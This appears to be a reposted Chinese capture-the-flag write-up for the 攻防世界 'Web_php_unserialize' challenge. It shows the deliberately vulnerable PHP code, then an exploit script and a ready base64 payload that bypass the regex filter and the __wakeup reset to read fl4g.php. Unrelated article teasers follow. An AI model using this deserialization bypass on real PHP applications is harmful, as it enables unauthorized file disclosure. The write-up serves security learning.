90,【6】攻防世界 WEB Web_php_unserialize

进入靶场

进入靶场

<?php 
// 定义一个名为 Demo 的类
class Demo { // 定义一个私有属性 $file,默认值为 'index.php'private $file = 'index.php';// 构造函数,当创建类的实例时会自动调用// 接收一个参数 $file,用于初始化对象的 $file 属性public function __construct($file) { $this->file = $file; }// 析构函数,当对象被销毁时自动调用// 使用 highlight_file 函数以高亮语法显示 $this->file 指定的文件内容// @ 符号用于抑制可能出现的错误信息// true 参数表示将高亮显示的内容作为字符串返回,而不是直接输出function __destruct() { echo @highlight_file($this->file, true); }// __wakeup 魔术方法,当对象被反序列化时自动调用// 该方法用于检查反序列化后的 $this->file 属性值// 如果 $this->file 不等于 'index.php',则将其重置为 'index.php'// 注释中提示秘密在 fl4g.php 文件中function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
// 检查是否通过 GET 请求传递了名为 'var' 的参数
if (isset($_GET['var'])) { // 如果存在 'var' 参数,对其进行 Base64 解码$var = base64_decode($_GET['var']); // 使用正则表达式检查解码后的字符串中是否包含特定格式的字符串// /[oc]:\d+:/i 用于匹配以 'o' 或 'c' 开头,后面跟着一个冒号,再跟着一个或多个数字,最后再跟着一个冒号的字符串// i 修饰符表示不区分大小写if (preg_match('/[oc]:\d+:/i', $var)) { // 如果匹配到,则输出 'stop hacking!' 并终止脚本执行die('stop hacking!'); } else {// 如果没有匹配到,则尝试对解码后的字符串进行反序列化// @ 符号用于抑制可能出现的错误信息@unserialize($var); } 
} else { // 如果没有传递 'var' 参数,则以高亮语法显示当前文件(index.php)的内容highlight_file("index.php"); 
} 
?>

我们要绕过unserialize函数、preg—match函数、wakeup函数、解码函数

考点分析

  • PHP 反序列化:理解 PHP 对象的序列化和反序列化机制,以及如何利用反序列化过程中调用的魔术方法(如 __destruct__wakeup)来执行特定操作。
  • 正则过滤绕过:代码中使用正则表达式 /[oc]:\d+:/i 对输入进行过滤,需要思考如何绕过这个过滤机制。
  • 文件包含:通过控制 $file 属性的值,利用 highlight_file 函数读取目标文件内容。

解题思路

  1. 构造序列化对象:创建一个 Demo 类的对象,并将 $file 属性设置为目标文件(如 fl4g.php),然后对该对象进行序列化。
  2. 绕过 __wakeup 方法__wakeup 方法会在反序列化时将 $file 属性重置为 index.php,需要找到绕过该方法的方法。
  3. 绕过正则过滤:输入的序列化字符串不能包含正则表达式 /[oc]:\d+:/i 匹配的内容。
  4. Base64 编码:将处理后的序列化字符串进行 Base64 编码,作为 var 参数传递给脚本。

php在线运行,在线工具,在线编译IDE_w3cschool

 

<?php
// 定义一个名为 Demo 的类
class Demo { // 定义一个私有属性 $file,初始值为 'fl4g.php',此文件可能包含我们要找的 flag 信息private $file = 'fl4g.php';
}// 创建一个 Demo 类的实例,并对该实例进行序列化操作
// 序列化是将对象转换为一个字符串,以便于存储或传输
$a = serialize(new Demo);// 原代码中的正则表达式 /[oc]:\d+:/i 会匹配以 'o' 或 'c' 开头,后跟冒号、一个或多个数字,再跟冒号的字符串
// 这里将序列化字符串中的 'O:4' 替换为 'O:+4',是为了绕过 preg_match() 函数的正则匹配
// 因为替换后的字符串不再符合正则表达式的匹配规则,从而避免被检测为恶意输入
$a = str_replace('O:4', 'O:+4',$a);// 在 PHP 反序列化时,如果对象的属性个数与序列化字符串中声明的属性个数不一致
// 且序列化字符串中声明的属性个数大于实际属性个数时,__wakeup() 魔术方法将不会被调用
// Demo 类实际只有一个属性,这里将序列化字符串中的 ':1:'(表示有 1 个属性)替换为 ':2:'
// 以此绕过 __wakeup() 方法,防止其将 $file 属性重置为 'index.php'
$a = str_replace(':1:', ':2:',$a);// 最后对处理后的序列化字符串进行 Base64 编码
// 因为原题目代码会对传入的 'var' 参数进行 Base64 解码操作
// 这样编码后得到的字符串可以作为 'var' 参数的值传递给原题目代码进行反序列化操作
echo base64_encode($a);
?>

 

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

笔记 

需要对序列化十分熟悉

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/67845.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Jenkins安装部署(以及常见报错解决方案),jdk版本控制器sdkman

目录 零、环境介绍 一、Jenkins安装 1、插件安装以及更换插件源 2、修改jenkins时区 二、sdkman安装&#xff08;可选&#xff09; 1、sdkman常用方法 2、sdkman常用方法演示 2.1、查看可用的jdk 2.2、下载jdk并切换版本 三、jenkins报错解决 1、下载sdkman后systemc…

c语言练习题【数据类型、递归、双向链表快速排序】

练习1&#xff1a;数据类型 请写出以下几个数据的数据类型 整数 a a 的地址 存放a的数组 b 存放a的地址的数组 b的地址 c的地址 指向 printf 函数的指针 d 存放 d的数组 整数 a 的类型 数据类型是 int a 的地址 数据类型是 int*&#xff08;指向 int 类型的指针&#xff09; …

联想拯救者Y9000P IRX8 2023 (82WK) 原厂Win11 家庭中文版系统 带一键还原功能 安装教程

安装完重建winre一键还原功能&#xff0c;和电脑出厂时的系统状态一模一样。自动机型专用软件&#xff0c;全部驱动&#xff0c;主题壁纸&#xff0c;自动激活&#xff0c;oem信息等。将电脑系统完全恢复到出厂时状态。 支持机型 (MTM) : 82WK 系统版本&#xff1a;Windows 1…

深入解析“legit”的地道用法——从俚语到正式表达:Sam Altman用来形容DeepSeek: legit invigorating(真的令人振奋)

深入解析“legit”的地道用法——从俚语到正式表达 一、引言 在社交媒体、科技圈甚至日常对话中&#xff0c;我们经常会看到或听到“legit”这个词。比如最近 Sam Altman 在 X&#xff08;原 Twitter&#xff09;上发的一条帖子中写道&#xff1a; we will obviously deliver …

Vue 图片引用方式详解:静态资源与动态路径访问

目录 前言1. 引用 public/ 目录2. assets/ 目录3. 远程服务器4. Vue Router 动态访问5. 总结6. 扩展&#xff08;图片不显示&#xff09; 前言 &#x1f91f; 找工作&#xff0c;来万码优才&#xff1a;&#x1f449; #小程序://万码优才/r6rqmzDaXpYkJZF 在 Vue 开发中&#x…

DeepSeek-R1 本地部署教程(超简版)

文章目录 一、DeepSeek相关网站二、DeepSeek-R1硬件要求三、本地部署DeepSeek-R11. 安装Ollama1.1 Windows1.2 Linux1.3 macOS 2. 下载和运行DeepSeek模型3. 列出本地已下载的模型 四、Ollama命令大全五、常见问题解决附&#xff1a;DeepSeek模型资源 一、DeepSeek相关网站 官…

JVM运行时数据区域-附面试题

Java虚拟机在执行Java程序的过程中会把它所管理的内存划分为若干个不同的数据区域。这些区域 有各自的用途&#xff0c;以及创建和销毁的时间&#xff0c;有的区域随着虚拟机进程的启动而一直存在&#xff0c;有些区域则是 依赖用户线程的启动和结束而建立和销毁。 1. 程序计…

2月3日星期一今日早报简报微语报早读

2月3日星期一&#xff0c;农历正月初六&#xff0c;早报#微语早读。 1、多个景区发布公告&#xff1a;售票数量已达上限&#xff0c;请游客合理安排行程&#xff1b; 2、2025春节档总票房破70亿&#xff0c;《哪吒之魔童闹海》破31亿&#xff1b; 3、美宣布对中国商品加征10…

C++ Primer 标准库vector

欢迎阅读我的 【CPrimer】专栏 专栏简介&#xff1a;本专栏主要面向C初学者&#xff0c;解释C的一些基本概念和基础语言特性&#xff0c;涉及C标准库的用法&#xff0c;面向对象特性&#xff0c;泛型特性高级用法。通过使用标准库中定义的抽象设施&#xff0c;使你更加适应高级…

【Numpy核心编程攻略:Python数据处理、分析详解与科学计算】2.6 广播机制核心算法:维度扩展的数学建模

2.6 广播机制核心算法&#xff1a;维度扩展的数学建模 目录/提纲 #mermaid-svg-IfELXmhcsdH1tW69 {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-IfELXmhcsdH1tW69 .error-icon{fill:#552222;}#mermaid-svg-IfELXm…

【Elasticsearch】硬件资源优化

&#x1f9d1; 博主简介&#xff1a;CSDN博客专家&#xff0c;历代文学网&#xff08;PC端可以访问&#xff1a;https://literature.sinhy.com/#/?__c1000&#xff0c;移动端可微信小程序搜索“历代文学”&#xff09;总架构师&#xff0c;15年工作经验&#xff0c;精通Java编…

bootstrap.yml文件未自动加载问题解决方案

在添加bootstrap.yml文件后,程序未自动扫描到,即图标是这样的: 查了一些资料,是缺少bootstrap相关依赖,虽然已经添加了spring-cloud-context依赖,但是这个依赖并未引入bootstrap依赖,可能是版本问题,需要手动引入 <dependency><groupId>org.springframework.cloud&…

C++底层学习预备:模板初阶

文章目录 1.编程范式2.函数模板2.1 函数模板概念2.2 函数模板原理2.3 函数模板实例化2.3.1 隐式实例化2.3.2 显式实例化 2.4 模板参数的匹配原则 3.类模板希望读者们多多三连支持小编会继续更新你们的鼓励就是我前进的动力&#xff01; 进入STL库学习之前我们要先了解有关模板的…

【玩转 Postman 接口测试与开发2_015】第12章:模拟服务器(Mock servers)在 Postman 中的创建与用法(含完整实测效果图)

《API Testing and Development with Postman》最新第二版封面 文章目录 第十二章 模拟服务器&#xff08;Mock servers&#xff09;在 Postman 中的创建与用法1 模拟服务器的概念2 模拟服务器的创建2.1 开启侧边栏2.2 模拟服务器的两种创建方式2.3 私有模拟器的 API 秘钥的用法…

【算法】回溯算法专题③ ——排列型回溯 python

目录 前置小试牛刀回归经典举一反三总结 前置 【算法】回溯算法专题① ——子集型回溯 python 【算法】回溯算法专题② ——组合型回溯 剪枝 python 小试牛刀 全排列 https://leetcode.cn/problems/permutations/description/ 给定一个不含重复数字的数组 nums &#xff0c;返…

LabVIEW如何高频采集温度数据?

在LabVIEW中进行高频温度数据采集时&#xff0c;选择合适的传感器&#xff08;如热电偶或热电阻&#xff09;和采集硬件是关键。下面是一些建议&#xff0c;帮助实现高效的温度数据采集&#xff1a; 1. 传感器选择&#xff1a; 热电偶&#xff08;Thermocouple&#xff09;&am…

人工智能:农业领域的变革力量

在当今科技飞速发展的时代&#xff0c;人工智能正以前所未有的态势渗透进各个领域&#xff0c;农业也不例外。想象一下&#xff0c;未来的农田里&#xff0c;农民不再是弯腰劳作的形象&#xff0c;而是坐在高科技的“智能农场”里&#xff0c;悠闲地喝着咖啡&#xff0c;指挥着…

LLM的Deep Research功能:重构人类认知与创新的新范式

在人工智能迅速发展的今天&#xff0c;大语言模型&#xff08;LLM&#xff09;的deep research功能正在成为重构人类认知方式的关键力量。 这一突破性的技术进展不仅带来了工具层面的革新&#xff0c;更深刻地触及了人类认知能力的本质。 本文将从认知科学的视角出发&#xf…

【Cadence仿真技巧学习笔记】求解65nm库晶体管参数un, e0, Cox

在设计放大器的第一步就是确定好晶体管参数和直流工作点的选取。通过阅读文献&#xff0c;我了解到L波段低噪声放大器的mos器件最优宽度计算公式为 W o p t . p 3 2 1 ω L C o x R s Q s p W_{opt.p}\frac{3}{2}\frac{1}{\omega LC_{ox}R_{s}Q_{sp}} Wopt.p​23​ωLCox​Rs…

前端力扣刷题 | 6:hot100之 矩阵

73. 矩阵置零 给定一个 m x n 的矩阵&#xff0c;如果一个元素为 0 &#xff0c;则将其所在行和列的所有元素都设为 0 。请使用 原地 算法。 法一&#xff1a; var setZeroes function(matrix) {let setX new Set(); // 用于存储需要置零的行索引let setY new Set(); //…